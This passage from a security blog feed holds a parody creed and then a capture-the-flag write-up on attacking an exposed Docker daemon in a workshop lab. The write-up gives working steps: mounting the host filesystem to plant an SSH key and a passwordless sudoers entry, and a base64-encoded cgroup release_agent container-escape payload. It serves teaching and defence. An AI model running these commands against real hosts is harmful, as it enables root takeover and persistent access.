		<category><![CDATA[Random]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[born2pwn]]></category>
		<category><![CDATA[poem]]></category>
		<category><![CDATA[random]]></category>
		<category><![CDATA[security]]></category>
		<guid isPermaLink="false">https://hackarandas.com/blog/?p=681</guid>

					<description><![CDATA[This is just a thing I wrote based on the Full Metal Jacket movie. I call it Full Metal Security: This is my laptop. There are many like it, but this one is mine. My laptop is my best friend. &#8230; <a href="https://hackarandas.com/blog/2020/03/26/full-metal-jacket-meets-security/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
										<content:encoded><![CDATA[<p><a href="https://hackarandas.com/blog/2020/03/26/full-metal-jacket-meets-security/borntopwn/" rel="attachment wp-att-684"><img decoding="async" src="https://hackarandas.com/blog/wp-content/uploads/2020/03/borntopwn-150x150.jpeg" alt="" width="150" height="150" class="alignleft size-thumbnail wp-image-684" /></a>This is just a thing I wrote based on the <a href="https://en.wikipedia.org/wiki/Full_Metal_Jacket" rel="noopener noreferrer" target="_blank">Full Metal Jacket</a> movie. I call it Full Metal Security:</p>
<p><em>This is my laptop.<br />
There are many like it, but this one is mine.<br />
My laptop is my best friend. It is my life.<br />
I must master it as I must master my life.</p>
<p>Without me, my laptop is useless.<br />
Without my laptop, I am useless.<br />
I must type my laptop true.<br />
I must path vulnerabilities faster than my attacker who is trying to compromise me.<br />
I must beat him before he beats me. I will &#8230;</p>
<p>My laptop and I know that what counts in security are not the issues we find, the tickets we file, nor vulnerabilities we patch.<br />
We know that it is the security awareness that count. We will make the end user aware &#8230;</p>
<p>My laptop is human, even as I, because it is my life.<br />
Thus, I will learn it as a brother.<br />
I will learn its weaknesses, its strength, its parts, its accessories, its keyboard and its display.</p>
<p>I will keep my laptop clean and ready, even as I am clean and ready.<br />
We will become part of each other. We will &#8230;</p>
<p>Before my team, I swear this creed.<br />
My laptop and I are the defenders of my company.<br />
We are the masters of our enemy.<br />
We are the saviors of my life.</p>
<p>So be it, until victory is ours and there is no enemy, but peace!</em></p>
<p>#FullMetalSecurity #Born2Pwn</p>
<p>Happy Hacking!<br />
<em>Adrian Puente Z.</em></p>
<p><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F03%2F26%2Ffull-metal-jacket-meets-security%2F&amp;linkname=Full%20Metal%20Jacket%20Meets%20Security" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F03%2F26%2Ffull-metal-jacket-meets-security%2F&amp;linkname=Full%20Metal%20Jacket%20Meets%20Security" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook_messenger" href="https://www.addtoany.com/add_to/facebook_messenger?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F03%2F26%2Ffull-metal-jacket-meets-security%2F&amp;linkname=Full%20Metal%20Jacket%20Meets%20Security" title="Facebook Messenger" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F03%2F26%2Ffull-metal-jacket-meets-security%2F&amp;linkname=Full%20Metal%20Jacket%20Meets%20Security" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F03%2F26%2Ffull-metal-jacket-meets-security%2F&amp;linkname=Full%20Metal%20Jacket%20Meets%20Security" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F03%2F26%2Ffull-metal-jacket-meets-security%2F&amp;linkname=Full%20Metal%20Jacket%20Meets%20Security" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_hacker_news" href="https://www.addtoany.com/add_to/hacker_news?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F03%2F26%2Ffull-metal-jacket-meets-security%2F&amp;linkname=Full%20Metal%20Jacket%20Meets%20Security" title="Hacker News" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_google_bookmarks" href="https://www.addtoany.com/add_to/google_bookmarks?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F03%2F26%2Ffull-metal-jacket-meets-security%2F&amp;linkname=Full%20Metal%20Jacket%20Meets%20Security" title="Google Bookmarks" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_evernote" href="https://www.addtoany.com/add_to/evernote?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F03%2F26%2Ffull-metal-jacket-meets-security%2F&amp;linkname=Full%20Metal%20Jacket%20Meets%20Security" title="Evernote" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F03%2F26%2Ffull-metal-jacket-meets-security%2F&amp;linkname=Full%20Metal%20Jacket%20Meets%20Security" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_telegram" href="https://www.addtoany.com/add_to/telegram?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F03%2F26%2Ffull-metal-jacket-meets-security%2F&amp;linkname=Full%20Metal%20Jacket%20Meets%20Security" title="Telegram" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F03%2F26%2Ffull-metal-jacket-meets-security%2F&amp;linkname=Full%20Metal%20Jacket%20Meets%20Security" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_kindle_it" href="https://www.addtoany.com/add_to/kindle_it?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F03%2F26%2Ffull-metal-jacket-meets-security%2F&amp;linkname=Full%20Metal%20Jacket%20Meets%20Security" title="Kindle It" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_flipboard" href="https://www.addtoany.com/add_to/flipboard?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F03%2F26%2Ffull-metal-jacket-meets-security%2F&amp;linkname=Full%20Metal%20Jacket%20Meets%20Security" title="Flipboard" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_wechat" href="https://www.addtoany.com/add_to/wechat?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F03%2F26%2Ffull-metal-jacket-meets-security%2F&amp;linkname=Full%20Metal%20Jacket%20Meets%20Security" title="WeChat" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_instapaper" href="https://www.addtoany.com/add_to/instapaper?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F03%2F26%2Ffull-metal-jacket-meets-security%2F&amp;linkname=Full%20Metal%20Jacket%20Meets%20Security" title="Instapaper" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F03%2F26%2Ffull-metal-jacket-meets-security%2F&#038;title=Full%20Metal%20Jacket%20Meets%20Security" data-a2a-url="https://hackarandas.com/blog/2020/03/26/full-metal-jacket-meets-security/" data-a2a-title="Full Metal Jacket Meets Security"><img src="https://static.addtoany.com/buttons/share_save_120_16.png" alt="Share"></a></p>]]></content:encoded>
					
					<wfw:commentRss>https://hackarandas.com/blog/2020/03/26/full-metal-jacket-meets-security/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Hacking Docker Remotely</title>
		<link>https://hackarandas.com/blog/2020/03/17/hacking-docker-remotely/</link>
					<comments>https://hackarandas.com/blog/2020/03/17/hacking-docker-remotely/#respond</comments>
		
		<dc:creator><![CDATA[ch0ks]]></dc:creator>
		<pubDate>Tue, 17 Mar 2020 07:00:00 +0000</pubDate>
				<category><![CDATA[Capture the Flag]]></category>
		<category><![CDATA[Code]]></category>
		<category><![CDATA[Docker]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[docker]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[privilege_escallation]]></category>
		<category><![CDATA[remote_exec]]></category>
		<guid isPermaLink="false">https://hackarandas.com/blog/?p=586</guid>

					<description><![CDATA[The following is a write up for a challenge given during a Docker security workshop in the company I work for. It was a lot of fun and ironically I managed to complete the challenge not exactly how they were &#8230; <a href="https://hackarandas.com/blog/2020/03/17/hacking-docker-remotely/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
										<content:encoded><![CDATA[<p><img fetchpriority="high" decoding="async" src="https://hackarandas.com/blog/wp-content/uploads/2020/03/docker_target.png" alt="" width="275" height="183" class="alignleft size-full wp-image-592" /><br />
The following is a write up for a challenge given during a Docker security workshop in the company I work for. It was a lot of fun and ironically I managed to complete the challenge not exactly how they were expecting so that&#8217;s why I am presenting two attack vectors. The second attack vector is how they were expecting people to complete the challenge.</p>
<h2>The Challenge</h2>
<p>The participants will have SSH access to a remote server in AWS. The goal is to show that the attacker can execute a process as the user root in another server in the local network running an insecure Docker service.</p>
<h2>Preparations</h2>
<p>I am lazy so I usually configure my SSH config file (~/.ssh/config):</p>
<pre lang="text">
Host docker-ctf
    Hostname 3.135.YY.XX
    User ubuntu
    Port 22
    IdentityFile ~/.ssh/id_rsa_docker
    UserKnownHostsFile ~/.ssh/known_hosts_delme
</pre>
<h2>Accessing the Jump Host</h2>
<p>The train of though for this attack is:</p>
<ol>
<li>Access the remote server via SSH</li>
<li>Perform a discovery ping sweep</li>
<li>Once I found the target server perform a port scan to see what is open</li>
</ol>
<p>So let&#8217;s start.</p>
<pre lang="bash">
â¯ ssh docker-ctf
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-1058-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Mar  5 22:47:14 UTC 2020

  System load:  0.0               Processes:           91
  Usage of /:   30.9% of 7.69GB   Users logged in:     0
  Memory usage: 18%               IP address for eth0: 10.42.2.129
  Swap usage:   0%


14 packages can be updated.
0 updates are security updates.


*** System restart required ***
Last login: Thu Mar  5 19:21:38 2020 from x.x.x.x

ubuntu@ip-10-42-2-129:~$ 
</pre>
<h2>Discovery</h2>
<p>Good, access is granted, let&#8217;s start this challenge by looking for other servers in the network.</p>
<pre lang="bash">
ubuntu@ip-10-42-2-129:~/ctf$ nmap -sP -oA scan 10.42.2.129/24
Host: 10.42.2.77 () Status: Up
Host: 10.42.2.129 (ip-10-42-2-129)  Status: Up
# Nmap done at Thu Mar  5 18:35:46 2020 -- 256 IP addresses (2 hosts up) scanned in 6.39 seconds
ubuntu@ip-10-42-2-129:~$ 
</pre>
<p>Nice! Another server, letâ€<img src="https://s.w.org/images/core/emoji/15.1.0/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" />s scan it</p>
<pre lang="bash">
ubuntu@ip-10-42-2-129:~/ctf$  nmap -sCV 10.42.2.77 -oA 10.42.2.77

Starting Nmap 7.60 ( https://nmap.org ) at 2020-03-05 18:38 UTC
Nmap scan report for 10.42.2.77
Host is up (0.0017s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 57:0d:56:8e:b4:a5:68:31:3b:75:6e:b2:db:eb:c1:e9 (RSA)
|   256 9b:5a:18:4d:71:20:24:66:e6:de:27:1e:d2:7f:60:c3 (ECDSA)
|_  256 5e:5e:26:65:ca:a7:f4:59:ac:f8:22:ea:ef:c5:a0:01 (EdDSA)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
ubuntu@ip-10-42-2-129:~$ 
</pre>
<p>Not good enough, letâ€<img src="https://s.w.org/images/core/emoji/15.1.0/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" />s do a wider scan</p>
<pre lang="bash">
ubuntu@ip-10-42-2-129:~/ctf$ nmap -sCV 10.42.2.77 -oA 10.42.2.77 -p 0-65535

Starting Nmap 7.60 ( https://nmap.org ) at 2020-03-05 18:38 UTC
Completed Service scan at 18:40, 81.12s elapsed (2 services on 1 host)
NSE: Script scanning 10.42.2.77.
Initiating NSE at 18:40
Completed NSE at 18:40, 0.08s elapsed
Initiating NSE at 18:40
Completed NSE at 18:40, 0.00s elapsed
Nmap scan report for 10.42.2.77
Host is up (0.0086s latency).
Not shown: 65534 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 57:0d:56:8e:b4:a5:68:31:3b:75:6e:b2:db:eb:c1:e9 (RSA)
|   256 9b:5a:18:4d:71:20:24:66:e6:de:27:1e:d2:7f:60:c3 (ECDSA)
|_  256 5e:5e:26:65:ca:a7:f4:59:ac:f8:22:ea:ef:c5:a0:01 (EdDSA)
2376/tcp open  docker  Docker 19.03.5
| docker-version:
|   Version: 19.03.5
|   MinAPIVersion: 1.12
|   Os: linux
--8<------8<------8<------8<------8<------8<------8<------8<------8<------8<------8<--
-->8------>8------>8------>8------>8------>8------>8------>8------>8------>8------>8--
|     Ostype: linux
|     Server: Docker/19.03.5 (linux)
|     Date: Thu, 05 Mar 2020 18:39:08 GMT
|_    Content-Length: 0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
Initiating NSE at 18:40
Completed NSE at 18:40, 0.00s elapsed
Initiating NSE at 18:40
Completed NSE at 18:40, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 83.80 seconds
ubuntu@ip-10-42-2-129:~$ 
</pre>
<h2>Preparing the Attack</h2>
<p>Oh righty, this is getting good! Let&#8217;s point our Docker client to the server and port that we just found and see what we can get from it.</p>
<pre lang="bash">
ubuntu@ip-10-42-2-129:~$ export DOCKER_HOST=tcp://10.42.2.77:2376
ubuntu@ip-10-42-2-129:~$ docker ps
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES

ubuntu@ip-10-42-2-129:~$ docker run --name ubuntu_bash --rm -i -t ubuntu bash
Unable to find image 'ubuntu:latest' locally
docker: Error response from daemon: Get https://registry-1.docker.io/v2/: net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers).
See 'docker run --help'.
ubuntu@ip-10-42-2-129:~$
</pre>
<p>OK, so we have the Docker client installed in the jump host but it seems that the target server cannot reach the Internet, this makes sense to mitigate this kind of attack but it will not stop me. This are the steps to follow:</p>
<ol>
<li>Get the attack docker image in our personal laptop</li>
<li>Convert the export the attack docker image into a tarball</li>
<li>Upload the attack docker image into the jump host</li>
<li>Import the attack image into the remote docker service.</li>
</ol>
<h3>Personal Computer</h3>
<pre lang="bash">
â¯ docker pull ubuntu
Using default tag: latest
latest: Pulling from library/ubuntu
423ae2b273f4: Pull complete
de83a2304fa1: Pull complete
f9a83bce3af0: Pull complete
b6b53be908de: Pull complete
Digest: sha256:04d48df82c938587820d7b6006f5071dbbffceb7ca01d2814f81857c631d44df
Status: Downloaded newer image for ubuntu:latest
docker.io/library/ubuntu:latest
â¯ docker save ubuntu -o /tmp/ubuntu.tgz
â¯ scp /tmp/ubuntu.tgz docker-ctf:~/
ubuntu.tgz                                                                                     100%   64MB   3.2MB/s   00:19
â¯
</pre>
<p>The image is now in the jump host. Now we need to import it into the remote Docker server. Notice how the image is transferred from the jump host to the remote docker server by using the Docker client.</p>
<h3>Jump Host</h3>
<pre lang="bash">
ubuntu@ip-10-42-2-129:~$ ls
ubuntu.tgz
ubuntu@ip-10-42-2-129:~$ docker load < ubuntu.tgz
cc4590d6a718: Loading layer  [===============================>]   65.58MB/65.58MB
8c98131d2d1d: Loading layer  [===============================>]   991.2kB/991.2kB
03c9b9f537a4: Loading layer  [===============================>]   15.87kB/15.87kB
1852b2300972: Loading layer  [===============================>]   3.072kB/3.072kB
Loaded image: ubuntu:latest

ubuntu@ip-10-42-2-129:~$ docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
ubuntu              latest              72300a873c2c        12 days ago         64.2MB
ubuntu@ip-10-42-2-129:~$ 
</pre>
<p>This is good progress. From here I will explain two possible scenarios. One is an account takeover by abusing SSH and privilege escalation by abusing Sudo. The other scenario is where access to the SSH server and only the Docker service is exposed.</p>
<h1>Attack Vector 1: SSH and Sudo Abuse</h1>
<p>This attack is based in a technique I found in the book <a href="https://www.blackhat.com/presentations/bh-usa-07/Moore_and_Valsmith/Whitepaper/bh-usa-07-moore_and_valsmith-WP.pdf" rel="noopener noreferrer" target="_blank">Tactical Exploitation</a> by <a href="https://hdm.io/" rel="noopener noreferrer" target="_blank">H.D. Moore</a> and <a href="https://twitter.com/mvalsmith" rel="noopener noreferrer" target="_blank">Valsmith</a>, specifically in section 4.4.1 NFS Home Directories in page 29. I am adapting the attack to abuse the remote SSH server and Sudo by exploiting the remote Docker service. This is how I do it:</p>
<p>First I execute run a docker container using the docker attack image I uploaded before. The trick is to run the container as root using the flag <code>-u 0</code> and mount the root <code>/</code> directory of the docker server in the <code>/mnt</code> directory of the docker container.</p>
<pre lang="bash">
ubuntu@ip-10-42-2-129:~$ docker run --name ubuntu_bash --rm -i -v /:/mnt -u 0  -t ubuntu bash
root@2e29c9224caa:/# cd /mnt/
root@2e29c9224caa:/mnt# ls
bin  boot  dev  etc  home  initrd.img  initrd.img.old  lib  lib64  lost+found  media  mnt  opt  proc  root  run  sbin  snap  srv  sys  tmp  usr  var  vmlinuz  vmlinuz.old
ubuntu@ip-10-42-2-129:~$
</pre>
<p>Now running as root in the container and having the file system mapped into the <code>/mnt</code> directory of the container to do two things:</p>
<p>1.- I copy my public SSH key into the ubuntu&#8217;s user <code>authorized_keys</code> in his <code>~/.ssh</code> folder:</p>
<pre lang="bash">
root@2e29c9224caa:/# cd /mnt/home/ubuntu/.ssh
root@2e29c9224caa:/mnt/home/ubuntu/.ssh# cat >> authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZYh5HokO0Znz3wuNGXSQNxIYGpBUzz1eb0mSWPbFa+6aF5Ob+RuSBJ/4lMgjS+N/kQpVoE90jxY017cAZ/Wx2s7O3FFRtgrpfvv60QoJV2mE6YHF2jImiKzPCXr22fAczO9cnvsHd6zmB5pAB22zIPJ5heQQbh5yfIPw7qEjOUZJHOUuji9oCJK28ZN2JVI/e1hfrLUT8zyGxMtK0OgBfuS2ZZlYFsFmPN8bEpP9vn9Om+X9TIM9+x+FsZWLlf2BdkkXmzJzDeCHuacNufR3w+ZzUYBnkWUEzEy3elZ1ScUx5xhoy29f/myO7FgN+yUZarcopKT2usnw1iPLIXH8P
^C
root@2e29c9224caa:/#
</pre>
<p>2.- Now I give the user ubuntu sudo privileges with no password:</p>
<pre lang="bash">
root@2e29c9224caa:/# cd /mnt/etc
root@2e29c9224caa:/mnt/etc# cat >> sudoers
ubuntu ALL=(ALL) NOPASSWD: ALL
^C
root@2e29c9224caa:/#
</pre>
<p>Good now we are ready to take control of the remote system with SSH. But first I update my SSH config file (~/.ssh/config) for convenience.</p>
<pre lang="bash">
Host docker-ctf
    Hostname 3.135.YY.XX
    User ubuntu
    Port 22
    IdentityFile ~/.ssh/id_rsa_docker
    UserKnownHostsFile ~/.ssh/known_hosts_delme

Host target
    Hostname 10.42.2.77
    User ubuntu
    Port 22
    IdentityFile ~/.ssh/id_rsa_docker
    UserKnownHostsFile ~/.ssh/known_hosts_delme
</pre>
<p>SSH into the server and finish the pwning. I use the docker-ctf as a jump host with the <code>-J</code> flag in SSH. Yeah I know, I can use the <code>ProxyCommand ssh -q -W %h:%p docker-ctf</code> parameter in the config file but I wanted to show the <code>-J</code> trick.</p>
<pre lang="bash">
â¯ ssh -J docker-ctf target
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-1058-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Mar  5 19:46:25 UTC 2020

  System load:  0.0               Processes:              92
  Usage of /:   25.8% of 7.69GB   Users logged in:        0
  Memory usage: 24%               IP address for eth0:    10.42.2.77
  Swap usage:   0%                IP address for docker0: 172.17.0.1


0 packages can be updated.
0 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Thu Mar  5 19:44:45 2020 from 10.42.2.129

ubuntu@ip-10-42-2-77:~$ sudo -i
root@ip-10-42-2-77:~# uid=0(root) gid=0(root) groups=0(root)
</pre>
<p>w00t w00t! Now let&#8217;s execute the command as root to win the challenge.</p>
<pre lang="bash">
root@ip-10-42-2-77:~# cat > runme.sh
for ((;;)); do id; echo Hello world > /dev/stderr ; sleep 20 ; done
^C
root@ip-10-42-2-77:~# bash runme.sh &
[1] 4456
root@ip-10-42-2-77:~# uid=0(root) gid=0(root) groups=0(root)
Hello world

root@ip-10-42-2-77:~# ps axu | grep runme
root      4456  0.0  0.3  13312  3176 pts/0    S    19:47   0:00 bash runme.sh
root      4464  0.0  0.1  14856  1076 pts/0    S+   19:47   0:00 grep --color=auto runme
root@ip-10-42-2-77:~#
</pre>
<p>Profit!</p>
<h1>Attack Vector 2: Remote Docker Server Abuse</h1>
<p>This attack is based on a technique that <a href="https://twitter.com/_fel1x" rel="noopener noreferrer" target="_blank">Felix Wilhelm</a> mentioned in his twitter account <a href="https://twitter.com/_fel1x" rel="noopener noreferrer" target="_blank">@_fel1x</a>:</p>
<p><center></p>
<blockquote class="twitter-tweet" data-lang="en">
<p lang="en" dir="ltr">d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`<br />mkdir -p <a href="https://twitter.com/search?q=%24d&amp;src=ctag&amp;ref_src=twsrc%5Etfw">$d</a>/w;echo 1 &gt;$d/w/notify_on_release<br />t=`sed -n &#39;s/.*\perdir=\([^,]*\).*/\1/p&#39; /etc/mtab`<br />touch /o; echo <a href="https://twitter.com/search?q=%24t&amp;src=ctag&amp;ref_src=twsrc%5Etfw">$t</a>/c &gt;$d/release_agent;echo &quot;#!/bin/sh<br />$1 &gt;$t/o&quot; &gt;/c;chmod +x /c;sh -c &quot;echo 0 &gt;$d/w/cgroup.procs&quot;;sleep 1;cat /o</p>
<p>&mdash; Felix Wilhelm (@_fel1x) <a href="https://twitter.com/_fel1x/status/1151487051986087936?ref_src=twsrc%5Etfw">July 17, 2019</a></p></blockquote>
<p><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script><br />
</center></p>
<p>Then I found more details in an excellent blog post by <a href="https://blog.trailofbits.com/" rel="noopener noreferrer" target="_blank">Trail of Bits</a> titled <a href="https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/" rel="noopener noreferrer" target="_blank">Understanding Docker Container Escapes</a>. Please, pay them a visit since I am not going to go deep into the details of the technique but show my version of the attack.</p>
<h2>Creating the Exploit</h2>
<p>The goal of the attack is to be able to write a one liner that abuses the remote Docker server and writes a script in the file system of the host running the malicious Docker container. The payload will be delivered in a base64 encoded string. This is the attack:</p>
<pre lang="bash">
cm5kX2Rpcj0kKGRhdGUgKyVzIHwgbWQ1c3VtIHwgaGVhZCAtYyAxMCkKbWtkaXIgL3RtcC9jZ3JwICYmIG1vdW50IC10IGNncm91cCAtbyByZG1hIGNncm91cCAvdG1wL2NncnAgJiYgbWtkaXIgL3RtcC9jZ3JwLyR7cm5kX2Rpcn0KZWNobyAxID4gL3RtcC9jZ3JwLyR7cm5kX2Rpcn0vbm90aWZ5X29uX3JlbGVhc2UKaG9zdF9wYXRoPWBzZWQgLW4gJ3MvLipccGVyZGlyPVwoW14sXSpcKS4qL1wxL3AnIC9ldGMvbXRhYmAKZWNobyAiJGhvc3RfcGF0aC9jbWQiID4gL3RtcC9jZ3JwL3JlbGVhc2VfYWdlbnQKY2F0ID4gL2NtZCA8PCBfRU5ECiMhL2Jpbi9zaApjYXQgPiAvcnVubWUuc2ggPDwgRU9GCnNsZWVwIDMwIApFT0YKc2ggL3J1bm1lLnNoICYKc2xlZXAgNQppZmNvbmZpZyBldGgwID4gIiR7aG9zdF9wYXRofS9vdXRwdXQiCmhvc3RuYW1lID4+ICIke2hvc3RfcGF0aH0vb3V0cHV0IgppZCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKcHMgYXh1IHwgZ3JlcCBydW5tZS5zaCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKX0VORAoKIyMgTm93IHdlIHRyaWNrIHRoZSBkb2NrZXIgZGFlbW9uIHRvIGV4ZWN1dGUgdGhlIHNjcmlwdC4KY2htb2QgYSt4IC9jbWQKc2ggLWMgImVjaG8gXCRcJCA+IC90bXAvY2dycC8ke3JuZF9kaXJ9L2Nncm91cC5wcm9jcyIKIyMgV2FpaWlpaXQgZm9yIGl0Li4uCnNsZWVwIDYKY2F0IC9vdXRwdXQKZWNobyAi4oCiPygowq/CsMK3Ll8u4oCiIHByb2ZpdCEg4oCiLl8uwrfCsMKvKSnYn+KAoiIK
</pre>
<p>We can decode it using <a href="http://icyberchef.com/" rel="noopener noreferrer" target="_blank">CyberChef</a> and the <a href="http://icyberchef.com/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)" rel="noopener noreferrer" target="_blank">From Base64</a> recipe. This is the output:</p>
<pre lang="bash">
rnd_dir=$(date +%s | md5sum | head -c 10)
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/${rnd_dir}
echo 1 > /tmp/cgrp/${rnd_dir}/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
cat > /cmd << _END
#!/bin/sh
cat > /runme.sh << EOF
sleep 30 
EOF
sh /runme.sh &#038;
sleep 5
ifconfig eth0 > "${host_path}/output"
hostname >> "${host_path}/output"
id >> "${host_path}/output"
ps axu | grep runme.sh >> "${host_path}/output"
_END

## Now we trick the docker daemon to execute the script.
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/${rnd_dir}/cgroup.procs"
## Waiiiiit for it...
sleep 6
cat /output
echo "â€¢?((Â¯Â°Â·._.â€¢ profit! â€¢._.Â·Â°Â¯))ØŸâ€¢"
</pre>
<p>In this piece of code, the attack abuses the functionality of the <code>notify_on_release</code> feature in <code>cgroups</code> v1 to run the exploit as a fully privileged root user<sub><a href="#ref_1">ref 1</a></sub>.</p>
<pre lang="bash">
rnd_dir=$(date +%s | md5sum | head -c 10)
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/${rnd_dir}
echo 1 > /tmp/cgrp/${rnd_dir}/notify_on_release
</pre>
<p>When the last task in a <code>cgroups</code> leaves (by exiting or attaching to another <code>cgroups</code>), a command supplied in the <code>release_agent</code> file is executed. The intended use for this is to help prune abandoned <code>cgroups</code>. This command, when invoked, is run as a fully privileged root on the host<sub><a href="#ref_1">ref 1</a></sub>.</p>
<pre lang="bash">
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
</pre>
<p>This step will create the script that the abused docker server will execute allowing us to spawn our own process.</p>
<pre lang="bash">
cat > /cmd << _END
#!/bin/sh
cat > /runme.sh << EOF
sleep 30 
EOF
sh /runme.sh &#038;

## Now we look for the process
sleep 5
ifconfig eth0 > "${host_path}/output"
hostname >> "${host_path}/output"
id >> "${host_path}/output"
ps axu | grep runme.sh >> "${host_path}/output"
_END
</pre>
<p>Now we abuse the docker daemon to execute the script.</p>
<pre lang="bash">
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/${rnd_dir}/cgroup.procs"
## Waiiiiit for it...
sleep 6
cat /output
echo "â€¢?((Â¯Â°Â·._.â€¢ profit! â€¢._.Â·Â°Â¯))ØŸâ€¢"
</pre>
<h2>Preparing the Attack</h2>
<p>I owe this section to <a href="https://blog.trailofbits.com/" rel="noopener noreferrer" target="_blank">Trail of Bits&#8217;</a> post titled <a href="https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/" rel="noopener noreferrer" target="_blank">Understanding Docker Container Escapes</a>. I am copying most of it because I don&#8217;t think I can write it better and because I am also lazy.</p>
<p>We can run the attack with the <code>--privileged</code> flag but that provides far more permissions than needed to escape a docker container via this method. In reality, the only requirements are:</p>
<ol>
<li>We must be running as root inside the container</li>
<li>The container must be run with the SYS_ADMIN Linux capability</li>
<li>The container must lack an AppArmor profile, or otherwise allow the mount syscall</li>
<li>The cgroup v1 virtual file system must be mounted read-write inside the container</li>
</ol>
<p>The SYS_ADMIN capability allows a container to perform the mount syscall (see man 7 capabilities). Docker starts containers with a restricted set of capabilities by default and does not enable the SYS_ADMIN capability due to the security risks of doing so.</p>
<p>Further, Docker starts containers with the docker-default AppArmor policy by default, which prevents the use of the mount syscall even when the container is run with SYS_ADMIN.</p>
